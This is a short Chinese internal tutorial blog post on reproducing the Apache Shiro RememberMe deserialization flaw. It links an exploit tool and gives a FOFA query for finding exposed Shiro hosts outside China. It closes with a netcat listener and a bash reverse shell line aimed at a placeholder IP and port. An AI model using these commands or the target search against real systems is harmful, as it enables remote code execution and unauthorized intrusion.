210104-技术分享-漏洞复现-shiro

2021年1月4日

技术分享-漏洞复现-shiro

by:leesin(ps:内部使用,未经授权不得外发)


1. shiro反序列号漏洞

1.1 漏洞形成原因

Apache Shiro(安全框架不安全,噗哈哈哈)框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)

在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

1.2 复现工具

GitHub:https://github.com/zhzyker/exphub/tree/master/shiro

1、可能会有的问题python库文件安装不了:Crypto
2、python如何验证库是否安装:进入python交互模式,若不存在会报错,下图为存在“os”这个库
210104-技术分享-漏洞复现-shiro

1.3 工具使用

见视频操作:https://live.bilibili.com/14668717


2. fofa使用

2.1 fofa语法

语法 含义
title=“百度” 标题为“百度”的资产
body=“xxx@qq.com” 正文中有“xxx@qq.com”的资产

fofa:https://fofa.so/

2.2 fofa搜索需要的内容

header=“shiroCookie” && country!=“CN”

2.3 fofa组合语法

符号 用意
&& 并且
|| 或者
= 等于
!
() 括弧,里面的内容可以遵循数字运算规则

3. 拓展-netcat

3.1 nc安装

windows安装
Linux自带

3.2 nc使用

nc -lnvp 10015

3.3 使用系统自带工具反弹shell

bash -i >& /dev/tcp/{IP}/{端口} 0>&1(ps:大括号不要)

上一篇:FFmpeg-4.0 的filter机制的架构与实现.之二 结构体关系与定义


下一篇:zabbix agent配置方法(windows)